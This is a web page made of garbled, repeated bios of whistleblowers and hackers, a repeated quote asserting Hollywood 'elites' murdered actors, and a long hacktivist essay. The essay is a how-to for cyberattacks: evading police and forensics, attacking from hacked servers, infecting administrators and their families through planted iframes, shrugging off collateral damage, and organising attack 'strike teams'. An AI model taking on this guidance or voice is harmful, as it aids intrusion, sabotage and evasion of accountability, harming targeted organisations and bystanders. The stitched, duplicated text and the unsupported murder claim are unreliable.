Thomas Drake is a former senior executive of the U.S. National Security Agency, a decorated United States Air Force and United States Navy veteran, and a whistleblower.is a former senior executive of the U.S. National Security Agency, a decorated United States Air Force and United States Navy veteran, and a whistleblower.is a former senior executive of the U.S. National Security Agency, a decorated United States Air Force and United States Navy veteran, and a whistleblower.is a former senior executive of the U.S. National Security Agency, a decorated United States Air Force and United States Navy veteran, and a whistleblower.
Thomas Andrews Drake is a former senior executive of the U.S. National Security Agency, a decorated United States Air Force and United States Navy veteran, and a whistleblower.is a former senior executive of the U.S. National Security Agency, a decorated United States Air Force and United States Navy veteran, and a whistleblower.is a former senior executive of the U.S. National Security Agency, a decorated United States Air Force and United States Navy veteran, and a whistleblower.is a former senior executive of the U.S. National Security Agency, a decorated United States Air Force and United States Navy veteran, and a whistleblower.
John Kiriakou is a former CIA analyst and case officer, former senior investigator for the Senate Foreign Relations Committee, and former counterterrorism consultant for ABC News, blogger for Huffington Post, and author.former CIA analyst and case officer, former senior investigator for the Senate Foreign Relations Committee, and former counterterrorism consultant for ABC News, blogger for Huffington Post, and author.former CIA analyst and case officer, former senior investigator for the Senate Foreign Relations Committee, and former counterterrorism consultant for ABC News, blogger for Huffington Post, and author.former CIA analyst and case officer, former senior investigator for the Senate Foreign Relations Committee, and former counterterrorism consultant for ABC News, blogger for Huffington Post, and author.
John Kiriakou is a former CIA analyst and case officer, former senior investigator for the Senate Foreign Relations Committee, and former counterterrorism consultant for ABC News, blogger for Huffington Post, and author.former CIA analyst and case officer, former senior investigator for the Senate Foreign Relations Committee, and former counterterrorism consultant for ABC News, blogger for Huffington Post, and author.former CIA analyst and case officer, former senior investigator for the Senate Foreign Relations Committee, and former counterterrorism consultant for ABC News, blogger for Huffington Post, and author.former CIA analyst and case officer, former senior investigator for the Senate Foreign Relations Committee, and former counterterrorism consultant for ABC News, blogger for Huffington Post, and author.John Kiriakou is a former CIA analyst and case officer, former senior investigator for the Senate Foreign Relations Committee, and former counterterrorism consultant for ABC News, blogger for Huffington Post, and author.former CIA analyst and case officer, former senior investigator for the Senate Foreign Relations Committee, and former counterterrorism consultant for ABC News, blogger for Huffington Post, and author.former CIA analyst and case officer, former senior investigator for the Senate Foreign Relations Committee, and former counterterrorism consultant for ABC News, blogger for Huffington Post, and author.former CIA analyst and case officer, former senior investigator for the Senate Foreign Relations Committee, and former counterterrorism consultant for ABC News, blogger for Huffington Post, and author.
Jeremy Hammond is a political activist and computer hacker from Chicago. He was convicted and sentenced in November 2013 to 10 years in US Federal Prison for hacking the private intelligence firm Stratfor and releasing the leaks through the whistleblowing website WikiLeaks. political activist and computer hacker from Chicago. He was convicted and sentenced in November 2013 to 10 years in US Federal Prison for hacking the private intelligence firm Stratfor and releasing the leaks through the whistleblowing website WikiLeaks. political activist and computer hacker from Chicago. He was convicted and sentenced in November 2013 to 10 years in US Federal Prison for hacking the private intelligence firm Stratfor and releasing the leaks through the whistleblowing website WikiLeaks.Jeremy Hammond is a political activist and computer hacker from Chicago. He was convicted and sentenced in November 2013 to 10 years in US Federal Prison for hacking the private intelligence firm Stratfor and releasing the leaks through the whistleblowing website WikiLeaks. political activist and computer hacker from Chicago. He was convicted and sentenced in November 2013 to 10 years in US Federal Prison for hacking the private intelligence firm Stratfor and releasing the leaks through the whistleblowing website WikiLeaks. political activist and computer hacker from Chicago. He was convicted and sentenced in November 2013 to 10 years in US Federal Prison for hacking the private intelligence firm Stratfor and releasing the leaks through the whistleblowing website WikiLeaks.Jeremy Hammond is a political activist and computer hacker from Chicago. He was convicted and sentenced in November 2013 to 10 years in US Federal Prison for hacking the private intelligence firm Stratfor and releasing the leaks through the whistleblowing website WikiLeaks. political activist and computer hacker from Chicago. He was convicted and sentenced in November 2013 to 10 years in US Federal Prison for hacking the private intelligence firm Stratfor and releasing the leaks through the whistleblowing website WikiLeaks. political activist and computer hacker from Chicago. He was convicted and sentenced in November 2013 to 10 years in US Federal Prison for hacking the private intelligence firm Stratfor and releasing the leaks through the whistleblowing website WikiLeaks.
Chelsea “Bradley” Manning Chelsea Elizabeth Manning is a United States Army soldier who was convicted in July 2013 of violations of the Espionage Act and other offenses, after releasing the largest set of classified documents ever leaked to the public.Chelsea Elizabeth Manning is a United States Army soldier who was convicted in July 2013 of violations of the Espionage Act and other offenses, after releasing the largest set of classified documents ever leaked to the public.Chelsea Elizabeth Manning is a United States Army soldier who was convicted in July 2013 of violations of the Espionage Act and other offenses, after releasing the largest set of classified documents ever leaked to the public.Chelsea “Bradley” Manning Chelsea Elizabeth Manning is a United States Army soldier who was convicted in July 2013 of violations of the Espionage Act and other offenses, after releasing the largest set of classified documents ever leaked to the public.Chelsea Elizabeth Manning is a United States Army soldier who was convicted in July 2013 of violations of the Espionage Act and other offenses, after releasing the largest set of classified documents ever leaked to the public.Chelsea Elizabeth Manning is a United States Army soldier who was convicted in July 2013 of violations of the Espionage Act and other offenses, after releasing the largest set of classified documents ever leaked to the public.Chelsea “Bradley” Manning Chelsea Elizabeth Manning is a United States Army soldier who was convicted in July 2013 of violations of the Espionage Act and other offenses, after releasing the largest set of classified documents ever leaked to the public.Chelsea Elizabeth Manning is a United States Army soldier who was convicted in July 2013 of violations of the Espionage Act and other offenses, after releasing the largest set of classified documents ever leaked to the public.Chelsea Elizabeth Manning is a United States Army soldier who was convicted in July 2013 of violations of the Espionage Act and other offenses, after releasing the largest set of classified documents ever leaked to the public.
Julian Assange Julian Paul Assange is an Australian publisher and journalist. He is known as the editor-in-chief of the website WikiLeaks, which he co-founded in 2006 after an earlier career in hacking and programming.Julian Paul Assange is an Australian publisher and journalist. He is known as the editor-in-chief of the website WikiLeaks, which he co-founded in 2006 after an earlier career in hacking and programming.Julian Paul Assange is an Australian publisher and journalist. He is known as the editor-in-chief of the website WikiLeaks, which he co-founded in 2006 after an earlier career in hacking and programming.Julian Assange Julian Paul Assange is an Australian publisher and journalist. He is known as the editor-in-chief of the website WikiLeaks, which he co-founded in 2006 after an earlier career in hacking and programming.Julian Paul Assange is an Australian publisher and journalist. He is known as the editor-in-chief of the website WikiLeaks, which he co-founded in 2006 after an earlier career in hacking and programming.Julian Paul Assange is an Australian publisher and journalist. He is known as the editor-in-chief of the website WikiLeaks, which he co-founded in 2006 after an earlier career in hacking and programming.Julian Assange Julian Paul Assange is an Australian publisher and journalist. He is known as the editor-in-chief of the website WikiLeaks, which he co-founded in 2006 after an earlier career in hacking and programming.Julian Paul Assange is an Australian publisher and journalist. He is known as the editor-in-chief of the website WikiLeaks, which he co-founded in 2006 after an earlier career in hacking and programming.Julian Paul Assange is an Australian publisher and journalist. He is known as the editor-in-chief of the website WikiLeaks, which he co-founded in 2006 after an earlier career in hacking and programming.
Edward Loomis worked as an NSA cryptologist from 1964 to 2001. Prior to the 9/11 attacks, Loomis unsuccessfully lobbied the agency to adopt a sophisticated data-collection program — nicknamed “ThinThread” — to monitor foreign Internet traffic going through the United States. Loomis, who later became the target of a Justice Department investigation into leaks of classified data, told FRONTLINE that had ThinThread been in place before 9/11, the attacks may have been averted. He spoke to FRONTLINE’s Jim Gilmore and Mike Wiser on Dec. 12, 2013.worked as an NSA cryptologist from 1964 to 2001. Prior to the 9/11 attacks, Loomis unsuccessfully lobbied the agency to adopt a sophisticated data-collection program — nicknamed “ThinThread” — to monitor foreign Internet traffic going through the United States. Loomis, who later became the target of a Justice Department investigation into leaks of classified data, told FRONTLINE that had ThinThread been in place before 9/11, the attacks may have been averted. He spoke to FRONTLINE’s Jim Gilmore and Mike Wiser on Dec. 12, 2013.Edward Loomis worked as an NSA cryptologist from 1964 to 2001. Prior to the 9/11 attacks, Loomis unsuccessfully lobbied the agency to adopt a sophisticated data-collection program — nicknamed “ThinThread” — to monitor foreign Internet traffic going through the United States. Loomis, who later became the target of a Justice Department investigation into leaks of classified data, told FRONTLINE that had ThinThread been in place before 9/11, the attacks may have been averted. He spoke to FRONTLINE’s Jim Gilmore and Mike Wiser on Dec. 12, 2013.worked as an NSA cryptologist from 1964 to 2001. Prior to the 9/11 attacks, Loomis unsuccessfully lobbied the agency to adopt a sophisticated data-collection program — nicknamed “ThinThread” — to monitor foreign Internet traffic going through the United States. Loomis, who later became the target of a Justice Department investigation into leaks of classified data, told FRONTLINE that had ThinThread been in place before 9/11, the attacks may have been averted. He spoke to FRONTLINE’s Jim Gilmore and Mike Wiser on Dec. 12, 2013.Edward Loomis worked as an NSA cryptologist from 1964 to 2001. Prior to the 9/11 attacks, Loomis unsuccessfully lobbied the agency to adopt a sophisticated data-collection program — nicknamed “ThinThread” — to monitor foreign Internet traffic going through the United States. Loomis, who later became the target of a Justice Department investigation into leaks of classified data, told FRONTLINE that had ThinThread been in place before 9/11, the attacks may have been averted. He spoke to FRONTLINE’s Jim Gilmore and Mike Wiser on Dec. 12, 2013.worked as an NSA cryptologist from 1964 to 2001. Prior to the 9/11 attacks, Loomis unsuccessfully lobbied the agency to adopt a sophisticated data-collection program — nicknamed “ThinThread” — to monitor foreign Internet traffic going through the United States. Loomis, who later became the target of a Justice Department investigation into leaks of classified data, told FRONTLINE that had ThinThread been in place before 9/11, the attacks may have been averted. He spoke to FRONTLINE’s Jim Gilmore and Mike Wiser on Dec. 12, 2013.
Mordechai Vanunu, also known as John Crossman, is a former Israeli nuclear technician who, citing his opposition to weapons of mass destruction, revealed details of Israel’s nuclear weapons program to the British press in 1986.
“Up until a year ago, Evi and I had never had any run-ins with the law, whatsoever. We are not criminals, nor are we fugitives from justice…nor are we crazy! We are simply artists and film makers who are being racketeered on! I personally know 8 actors, all of whom I have worked with and was close to… Heath Ledger, Chris Penn, and David Carradine among them! [Murdered by Hollywood ‘elites’]””Up until a year ago, Evi and I had never had any run-ins with the law, whatsoever. We are not criminals, nor are we fugitives from justice…nor are we crazy! We are simply artists and film makers who are being racketeered on! I personally know 8 actors, all of whom I have worked with and was close to… Heath Ledger, Chris Penn, and David Carradine among them! [Murdered by Hollywood ‘elites’]””Up until a year ago, Evi and I had never had any run-ins with the law, whatsoever. We are not criminals, nor are we fugitives from justice…nor are we crazy! We are simply artists and film makers who are being racketeered on! I personally know 8 actors, all of whom I have worked with and was close to… Heath Ledger, Chris Penn, and David Carradine among them! [Murdered by Hollywood ‘elites’]”
Randy Quaid Actor, Comedian, Activist
“Up until a year ago, Evi and I had never had any run-ins with the law, whatsoever. We are not criminals, nor are we fugitives from justice…nor are we crazy! We are simply artists and film makers who are being racketeered on! I personally know 8 actors, all of whom I have worked with and was close to… Heath Ledger, Chris Penn, and David Carradine among them! [Murdered by Hollywood ‘elites’]””Up until a year ago, Evi and I had never had any run-ins with the law, whatsoever. We are not criminals, nor are we fugitives from justice…nor are we crazy! We are simply artists and film makers who are being racketeered on! I personally know 8 actors, all of whom I have worked with and was close to… Heath Ledger, Chris Penn, and David Carradine among them! [Murdered by Hollywood ‘elites’]””Up until a year ago, Evi and I had never had any run-ins with the law, whatsoever. We are not criminals, nor are we fugitives from justice…nor are we crazy! We are simply artists and film makers who are being racketeered on! I personally know 8 actors, all of whom I have worked with and was close to… Heath Ledger, Chris Penn, and David Carradine among them! [Murdered by Hollywood ‘elites’]”
I have been observing the hacker and hacktivist communities, at times very
closely, for many years. The exact definition of “hacker” and “hacktivist”
varies from author to author, so I shall make my interpretation of these words
very clear. Let us define a “hacker” as someone who utilizes their knowledge of
computers and of computer networks to make money via illegitimate means. Let us
define a “hacktivist” as someone who utilizes their knowledge of computers and
of computer networks to do justice when justice is not done by the state. I
have found that these two communities are inextricably linked, yet remain
completely separate entities. Many hackers double as hacktivists in their spare
time, although most hacktivists do not fancy themselves hackers.
Although hackers turned hacktivists have the very best of intentions, and their
input and expertise is of great value to the hacktivist community, they have
inadvertently suppressed the potential of the very community they are trying to
aid. The get-in-get-the-goods-get-out methodology of the stolen credit card
driven hacker community that has been transfered to the hacktivist community
via ideological osmosis has tragically affixed blinders to it. It has caused
the hacktivist community to think linearly and strive to do nothing more than
to blindly infiltrate target organizations and immediately leak whatever data
they happen to stumble across. This must change. Stealing and leaking data
makes a point, but it is sometimes necessary to do more than just make a point,
to inflict real, measurable damage. In certain, extreme cases an organization’s
disregard for human rights warrants its immediate and complete obliteration.
In this essay, I will discuss a multitude of ideological, operational, and
technical changes that ought to be made to the hacktivist community. These
proposed changes have been derived from my personal observations. Some will
find the ideas contained within this document to be the product of common
sense. I have found these people to be few in number. If the community accepts
my suggestions it will not only become more effective, but the risks associated
with participating in it will be drastically lowered. My intent in writing this
is not to aid criminals, but rather to aid people who wish to do battle with
governments and corporations that have become criminals. If freedom is to
remain on this earth, its people must be willing and able to take arms to
defend it, both physical and digital.
Personal Security
Sound operational security is the foundation from which all effective
cyber-offensives are launched. You should, at all times, put your own, personal
security above the success of your operations and interests. The security
precautions taken by most hacktivists I have met are mediocre at best, and
needlessly so. Maintaining sound personal security is by no means difficult. It
requires much caution but very little skill. I have devised a series of
security precautions that hactivists should take and divided them up into six
main categories: environmental, hardware, software, mental, pattern related,
and archaeological. We shall examine each individually.
(1) Environmental:
There are but two places you can work: at home or in public. Some people insist
that working at home is best and others insist that working in public is best.
The proper working environment debate has been raging on in the hacker
community for quite some time now, and has great relevance to the hacktivist
community, as most governments view hackers and hacktivists as one in the same.
Proponents of the “work in public” argument claim that by always working at a
different public location, you significantly lower your chances of being
apprehended. They argue that even if the authorities are able to trace many of
the cyber-attacks you took part in back to the public places where you took
part in them from, that does not bring them any closer to finding you. Most
retail stores and coffee shops do not keep surveillance footage for more than a
year at the most, and even if the authorities are able to get a photo of you
from some security camera, that does not necessarily lead them directly to your
front door, especially if you wore a hoody the entire time you where working
and the camera never got a clear shot of your face. On the other hand,
proponents of the “work at home” argument argue that the risk of being seen and
reported, or merely recorded while working in a public place far outweighs the
benefits of the significantly large increase in anonymity that working in
public provides. Both sides have legitimate points, and I urge you to consider
both of them.
If you decide to work in public, the number one threat you face is other
people. Numerous large criminal investigations have been solved using the
observations of average everyday citizens who just happened to remember seeing
something suspicious. If people sense that you are trying to hide something,
they will watch you more closely than they would otherwise. It is important to
always “keep your cool” as the old saying goes. Always try to sit in such a way
that your screen is facing away from the majority of the people in the room you
are sitting in. Corners are your friend. Try to blend in with the crowd. Dress
in plain cloths. Draw no attention. If you are in a coffee shop, sip some
coffee while you work. If you are in a burger joint, buy a burger. If you are
in a library or book store, set a few books beside your laptop. Also, be very
aware of security cameras, both inside the establishment you are working in as
well as on the street near it. Being captured on film is alright as long as the
camera can not see what is on your screen. Some store cameras are watched by
actual people who will undoubtedly report you if they find out what you are
doing. More and more governments are starting to place very high quality CCTV
cameras on their streets to monitor their citizens, and these devices can be a
problem if they are peering over your shoulder through a window you are sitting
beside. When working in public, it is possible that you may have to confront a
law enforcement officer face to face. Law enforcement officers can smell
uneasiness from a mile away, and if you look like you are up to no good it is
possible that a cop will come and talk to you. Always have some sort of cover
story made up before you leave home to explain why you are where you are. If
you are forced to confront a law enforcement officer you should be able to talk
your way out of the situation.
If you decide to work at home, the number one threat you face is your own ego.
Just because you are at home does not mean that your working environment is
secure. Be aware of windows in close proximity to your computer as well as your
security-illiterate or gossipy family members. Security issues in relation to
network configuration begin to come into play when you work at home. If your
computer were to somehow get compromised while you are working at home,
perhaps by your government, it would be nearly impossible for the person or
group of people rummaging around inside of your system to get your actual IP
address (provided that you adhere to the software security guidelines that we
will discuss later). However, if your wi-fi password (or the name of your
printer, or the name of another computer on the network) contains your actual
last name and part of your address, tracking you down becomes very easy. A lot
of people name their network devices and structure their network passwords in
this way.
It is also possible that if an attacker that has infiltrated your computer
notices other machines on your network they can pivot to them (infect them with
malware using your computer as a spring board of sorts) and use them to get
your IP address. A lot of Internet enabled household devices have cameras on
them (your smart TV, your Xbox, and your high tech baby monitor to name a few)
and said cameras can potentially be leveraged against you. It is in your best
interest to not have any other machines running on your home network while you
are working. Also, change your wi-fi password every once in awhile and make
sure that the password on the administrative interface of your router is
something other than the out-of-the-box default. If your computer gets
compromised, logging into your router using username “admin” and password
“admin” is elementary for a moderately skilled attacker. Most modern routers
list their WAN IP address on their control panels.
Regardless of where you decide to work, be aware of mirrors and glass picture
frames near your workplace. In the right light, both of these items have the
potential to reflect crystal clear images of your screen to onlookers across
the room. In addition to this, understand that modern cell phones are your
worst enemy. Not only are they always going to be the weakest link in your
security setup, but if they are somehow compromised they are equipped with a
camera and microphone. Recent studies suggest that it is possible for smart
phones to listen to the high pitched noise your CPU makes and deduce your PGP
private key. Furthermore, the metadata collected by your phone coupled with
pattern analysis techniques could potentially allow your government to link
your real life and online personas together after some time. We will discuss
this in depth later. Leave your phones at home and if possible keep all phones,
yours or otherwise, far away from your computer. Other portable devices such as
iPods and tablets potentially pose the same risk that phones do and should be
treated the same.
(2) Hardware:
Modern computers come equipped with microphones, speakers (which can be used as
microphones under the right circumstances), and cameras. All of these features
can potentially be leveraged to identify you if your computer is compromised.
To mitigate these risks, these features should be physically removed. Your
computer’s microphone and speakers should be ripped out of it, but you should
not rip out your web cam, as it will alter the outward appearance of your
computer and potentially draw attention to you. Instead, open your computer’s
screen and snip the wires that connect to your web cam. Wrap the ends of the
wires in electrical tape so sparks do not jump in between them. If you must
listen to an audio file while working, use headphones. Only keep your
headphones plugged into your computer when you are using them. The computer you
use for your hacktivist activities also should not contain a hard drive, as
they are unnecessary for our purposes.
(3) Software:
Always use a TOR enabled Linux live system when working. At the present moment,
Tails (The Amnesiac Incognito Live System) is by far the best live distribution
for your purposes. You can read more about TOR at www.torproject.org and you
can read more about acquiring, setting up, and using Tails at tails.boum.org.
The Tails operating system lives on a USB flash drive. Every time you start up
your computer, you must first insert your Tails flash drive into it. The Tails
website will guide you through making said flash drive. Tails will
automatically direct all of your outgoing traffic into the TOR network in an
effort to hide your IP address. If you use Tails you will be completely
anonymous and be able to work with impunity provided that:
* You keep your Tails USB up to date. New versions of the Tails
operating system are released every few months.
* You do not login into your “real world” accounts while using Tails.
Do not check your Twitter feed while you are working.
* You do not use Tails to create an account with an alias that you have
used before. If you have been “0pwn” for the past seven years, now
is a good time to stop being 0pwn.
* You do not alter Tails’ default security settings. They are the way
they are for a reason.
* You do not use Tails to create an online account with a password that
you have used before. Doing this only makes deanonymizing you easier.
* You do not install and use random packages that “look cool”; they
could be miscellaneous. Only use packages and scripts that you trust.
Tails is not bullet proof.
* If you decide to set a sudo password when starting up Tails, make
sure that it is very strong.
* You stay conscious of metadata analysis techniques. We will discuss
these later.
* You switch exit nodes every ten to fifteen minutes. This can be done
by double clicking the little green onion in the upper right hand
corner of your Tails desktop and hitting the “Use a New Identity”
button.
* You follow the communication guidelines laid out later in this
document.
More information can be found on the Tails warning page: https://tails.boum.org/
doc/about/warning/index.en.html. Be aware that it is very easy for your ISP
(which is probably working closely with your government) to tell that you are
using both TOR and Tails. It is probably in your best interest to use something
called “TOR bridge mode”. You can read more about how to configure Tails to
use TOR bridges here: https://tails.boum.org/doc/first_steps/startup_options/
bridge_mode/index.en.html.
Tails is unique in that it has a special feature that wipes your computer’s
memory before it shuts down. This is done in order to mitigate risks associated
with the dreaded “cold boot attack” (a forensics method in which a suspects RAM
is ripped out of his or her computer and then thrown into a vat of liquid
nitrogen to preserve its contents for later analysis). This feature is also
triggered if you pull your Tails flash drive out of your computer while you are
working. If while you are working you ever feel that the authorities are about
to move in on you, even if you have a seemingly irrational gut feeling, yank
your Tails flash drive out of your computer. Tails also has a feature that
allows it to disguises itself as a Windows desktop. Using this feature in
public will reduce your risk of capture significantly.
(4) Mental:
A skilled attacker is well disciplined and knows that he must keep his actions
and skills a secret in order to remain safe from harm. Do not flaunt the fact
that you are dissatisfied with your government, a foreign government, or a
particular corporation. Do not attend protests. Do not publicly advertise the
fact that you have an above average aptitude for computer security offensive or
otherwise. And whatever you do, do not tell anyone, even someone you think you
can trust, that you are planning to launch an organized cyber-attack on any
organization, big or small. If you draw attention to yourself no amount of
security precautions will keep you safe. Keep your “real” life mentally
isolated from your “hacktivist” life. One lapse in operational security could
end you.
Be alert and focused. Remain mentally strong. Come to terms with the illegality
of your actions and what will happen to you if you are apprehended. As a wise
man once said, “A warrior considers himself already dead, so there is nothing
to lose. The worst has already happened to him, therefore he’s clear and calm;
judging him by his acts or by his words, one would never suspect that he has
witnessed everything.” It is perfectly acceptable to be paranoid, but do not
let that paranoia consume you and slow your work. Even if you are extremely
cautious and follow this document’s advice to the letter, you still may be
hunted down and incarcerated, tortured, or killed. Some countries do not take
kindly to hacktivists. It is best that you be honest with yourself from the
beginning. In order to operate effectively you must be able to think clearly
and see the world as it actually is.
(5) Pattern Related:
When your online persona is active your real life persona ceases to exist, and
an observant adversary can use this to their advantage. If your ISP, bank, and
mobile phone provider are “cooperating” with your government and allowing them
to browse through all of their records (a fair assumption in this day and age)
then, eventually, they will be able to deduce your real identity by comparing
everyone’s data to information about your online persona. If the government
looks backs on all of the records they have collected in the past year and
notice that you never make a credit card purchase, watch Netflix, go on your
Facebook, Google, or Twitter account, or change your physical location while
1337Hax0r64 is online on some anti-government forum on the deep web, they will
assume that you are 1337Hax0r64. Even information about your home network’s
bandwidth usage can give away your real identity.
Luckily, performing the type of metadata analysis attack described above takes
time, usually many months. It is very important that you change aliases often,
preferably every three or four months. Shed your old names like a snake sheds
its skin. When you do change your online name, make sure your new identity
can not be tied back to your old one.
DO NOT not launch cyber-attacks from your own computer. Launch attacks only
from hacked servers, servers purchased with washed bitcoins, or free shell
accounts. Certain types of cyber-attacks produce a large amount of traffic over
a short amount of time. If the bandwidth usage of your home network spikes at
the same instant that a government or corporate server is attacked, the time it
takes to deanonymize you is reduced significantly. This is especially true if
you launch multiple attacks on multiple occasions. Launching attacks in this
way can be mentally exhausting. Configuring a new attack server with your tool
set every time your old attack server is banned (an inevitable occurrence) can
be a tedious task indeed. I personally recommend creating a bash script to
automatically install your favorite tools to make this transition process
easier. Most hackers and offensive security professionals use under thirty
non-standard tools to do their job, so configuring a new server with everything
you need should not take very long if you know what you are doing. Consider
equipping your server with TOR and a VNC server (for tools that require GUIs
such as most popular intercepting proxies) as well.
(6) Archaeological:
You must insure that there is no forensics evidence of your actions, digital or
otherwise. If the government breaks into your house and rummages through your
things, they should find nothing interesting. Make sure that you never make any
physical notes pertaining to your hacktivist activities. Never keep any
computer files pertaining to your hacktivist activities in your home. Keep all
of your compromising files, notes, scripts, and unusual attack tools (the ones
that can not be installed with apt-get or the like), and stolen information in
the cloud. It is recommended that you keep all of your files backed up on
multiple free cloud storage providers so that in the event that one of the
providers bans your account you still have all of your data. Do not name your
cloud accounts in such a way that they can be connected back to your online
persona. Never, under any circumstances, mention the names or locations of your
cloud accounts to the people you work with. Always hit the “Use New Identity”
button on your TOR control panel after accessing your cloud storage solutions.
Every time you shed your old alias, shed your old cloud accounts.
Security of Communications
The majority of hacktivists I have met communicate via public IRC. Using IRC is
fine for meeting other hacktivists, but as soon as you muster a team of other
hacktivists who wish to attack the same target as you, move to another more
secure form of communication. Some means of communication are more secure than
others, but completely secure communication does not exist. The following
guidelines are meant to work in conjunction with the personal security
guidelines that where discussed in the previous section. If proper personal
security measures are implemented effectively, compromised communication will
result in operational failure at worst and not complete deanonymization. Since
operational failure may very well set you and your cause back several months,
it is in your best interest to attempt to communicate securely:
* Remember that any of the people you meet on the clearnet, deep web,
or public IRC channels who claim to be on your side could actually
be government agents trying to sabotage your operations.
* If possible, communicate mainly via privacy friendly email accounts
(not Gmail, Yahoo, AT&T, etc.) and encrypt all of your messages with
PGP. When a cyber-attack is being carried out it is often necessary
to be able to communicate with your accomplices instantaneously.
Since encrypting, sending, receiving, and decrypting messages by hand
takes time, using PGP in time sensitive situations like this is not
feasible. If you have to confer in an IM environment, use a program
like TorChat that uses its own form of asymmetric encryption to send
and receive messages instantly.
* Use strong passwords for all of your online accounts. The best way to
make a strong password is to pick eight or nine random words and
string them together. Passwords like this are easy to remember but
hard to guess.
* Never give away any personal information (such as country, interests,
hobbies, health, etc.) or give insight into your feelings or
emotions. Your fellow hacktivists are not your friends and should
never be talked to as such. Giving away this sort of information will
make tracking you easier.
* When you receive messages, do not retain them, even if they are
encrypted. Read them, make note of any hard to remember details
(like long server passwords for example), and then delete them.
Having a mile long digital paper trail can not lead to anything good.
In some cases deleted messages on email serves can be recovered via
computer forensics, but deleting messages quickly may reduce the odds
that they can be.
* When typing messages, do so in a word processor on your computer.
Never write your message inside of a communication program (such as
an online email client, forum PM box, etc.). People have been known
to accidentally send unencrypted messages before. The effects of such
an error can be devastating.
* If you find yourself writing large swaths of text intended for public
release (like essays or manifestos) use a tool like Anonymouth to
obscure your writing style. Your writing style is as unique as a
finger print and can be used to identify you.
* Never, under any circumstances, execute a file on your computer or on
your server that has been given to you by a fellow hacktivist. You
should never run into a situation where doing this is necessary.
* Do not disclose information about your involvement in previous
hacktivist operations to people who where not also part of the same
operation.
* If one of the people that you are working with gets captured, assume
that the people who have captured them know everything that they do.
Philosophy of Attacking
The hacktivist community, like every community, has its own unique set of
philosophical musings, taboos, and dogmas. While I do not advocate the severe
alteration of the principles and philosophies on which the community was built,
I do wish to point out a number of flaws in certain aspects of their
composition. These flaws serve only to hold back the community and should be
openly discussed.
(1) When hacktivists target an organization, their goal is more often than not
to force said organization to stop functioning permanently, or at least for the
longest time possible, in an effort to stall unjust actions from being carried
out or to seek retribution for unjust actions done in the past. Leaking
databases, DoXing influential individuals, defacing websites, and launching
massive DDoS campaigns, four of the modern hacktivist community’s favorite
activities, accomplish this goal – to an extent. Infiltrating a target
organization and sowing discord within its ranks is magnitudes more effective
than leaking credit card numbers or putting a CEO’s social security number on
Pastebin, yet it is rarely, if ever, considered to be a viable course of
action. Subtly and silently fostering suspicion and distrust inside of your
target will have a longer lasting impact than simply pointing out that its
security policy has some weak points.
(2) Hacktivists crave publicity, yet they are the most effective when they
operate undetected. Stay hidden. Although it may seem tempting at times, do not
destroy large amounts of information on your target’s computers or servers.
Doing so will announce your arrival inside of your target’s network rather
loudly. Flashy, public displays of power have no place in the hacktivist
community. Just because you are hiding behind TOR does not mean that you should
not make an effort to cover your tracks. Conceal your attack not to mask your
identity, but to convince your target that no attack was carried out in the
first place.
(3) Once your hacktivist collective has decided to attack an organization,
strike fast and strike hard. Overwhelm your target. A well disciplined and well
organized team of attackers can penetrate most networks within a few hours.
Far too often I have seen hacktivist collectives declare all out war on someone
and then attack them slowly and gain entry into their network days, sometimes
even weeks later. By attacking slowly, you give your target time to react and
strengthen their defenses. Detecting an attack from a large hacktivist
collective is a trivial task, but as history has shown detecting the presence
of one inside of a network, especially a large network, can be tricky.
(4) Cyber-attacks seldom go as planned. If you are attempting to do anything
that involves the coordination of more than two people, keep this in mind. It
is not uncommon for tools to stop working in the middle of an attack. It is not
uncommon for reverse shells to die unexpectedly. It is not uncommon for
seemingly simple actions to take hours to perform. You must be ready to think
on your feet and quickly adjust your attack plan to accommodate the ever
changing conditions within the network you are attacking. Predefined
contingency plans are mostly useless.
(5) Remember that no system is impenetrable. On more than one occasion I have
seen hacktivists give up on trying to infiltrate a target network because their
Nessus scan did not yield any useful results. As a hacktivist, you are not
bound by the typical constraints of a pentester. If you can not successfully
attack a website, try attacking its hosting provider. Try attacking the
administrator’s email account. Try going after random social accounts belonging
to the administrator’s family. Try planting iframes in websites you suspect the
administrator frequents in an effort to infect him. If you cause extensive
collateral damage, who cares? It is not your problem. Sometimes the ends
justify the means. Be creative.
(6) Many hacktivists possess unrealistic, self-constructed mental images of the
ideal cyber-attack. In the majority of these movie-induced delusions, the ideal
attack utilizes numerous 0days, an arsenal of home made tools, and highly
advanced, unimaginably complex network intrusion techniques. In reality, this
type of thinking is incredibly dangerous and causes some hacktivists to attempt
to perform convoluted, elaborate attacks to gain the respect of their peers.
When breaking into highly secured networks, such attacks only draw unnecessary
attention. The best attacks are the ones that work. They are usually simple and
take little time to execute. Using sqlmap to spawn a shell on your target’s
server by exploiting a flaw in their website’s search feature is a viable if
not ideal attack. It allows you to access the inside of your target’s network.
Exploiting a vulnerable FTP daemon on one of your target’s servers using public
exploit code is a viable if not ideal attack. It allows you to access the
inside of your target’s network. Using Metasploit in conjunction with a fresh
Gmail account to launch a phishing campaign against your target’s employees is
a viable if not ideal attack. It allows you to access the inside of your
target’s network. The media hates it when hacktivists use open source software
to do their work. Whenever a hacker or hacktivist is arrested for doing
something that involved using “someone else’s” tools, they are publicly
shammed. “Anyone could have done that” they say. “He’s just an unskilled script
kiddie” they say. Claiming that someone is less of a hacker solely because they
partially depend on someone else’s code borders on absurd. It amounts to
claiming that Picasso is a bad artist because he did not carve his own brushes,
synthesize his own paints, and weave his own canvas. Do not shy away from using
open source tools and publicly available information to accomplish your goals.
Hacking is an art, and nmap is your brush.
Organization and Formation
Most of the hacker and hacktivist groups I have observed are unorganized and
undisciplined. They claim to perform actions as a collective, yet when it comes
time to actually launch an attack they attempt to infiltrate their targets as
individuals, each member launching attacks of their own without making the
faintest attempt to coordinate their actions with others. Here I shall describe
a schema that could be easily adopted by any hacktivist collective to allow it
to facilitate highly coordinated attacks involving large numbers of attackers
with great ease. It will be presented as a series of steps.
Step One: Organize yourselves into multiple small groups. These groups shall be
referred to as strike teams. The ideal strike team is composed of three parts
attack specialists, two parts social engineering specialists. Attack
specialists should at least be able to identify and competently exploit
potential vulnerabilities in websites and be able to exploit vulnerable or
misconfigured services. Social engineering specialists should have at least
some real world experience before participating in a strike team. Attack
specialists should only concern themselves with launching attacks and social
engineering specialists should only concern themselves with social engineering.
Well-defined roles are the key to a strike team’s success. This configuration
will often create an abundance of social engineering specialists, and that is
perfectly acceptable. Having the capability to immediately launch multiple well
planned social engineering campaigns is crucial. The size of a strike team
will be determined by the skill of its members. Highly skilled individuals
should work in very small strike teams (five member teams are acceptable)
whereas unskilled individuals should work in larger strike teams (up to a few
dozen). The organization of strike teams should be coordinated as a collective.
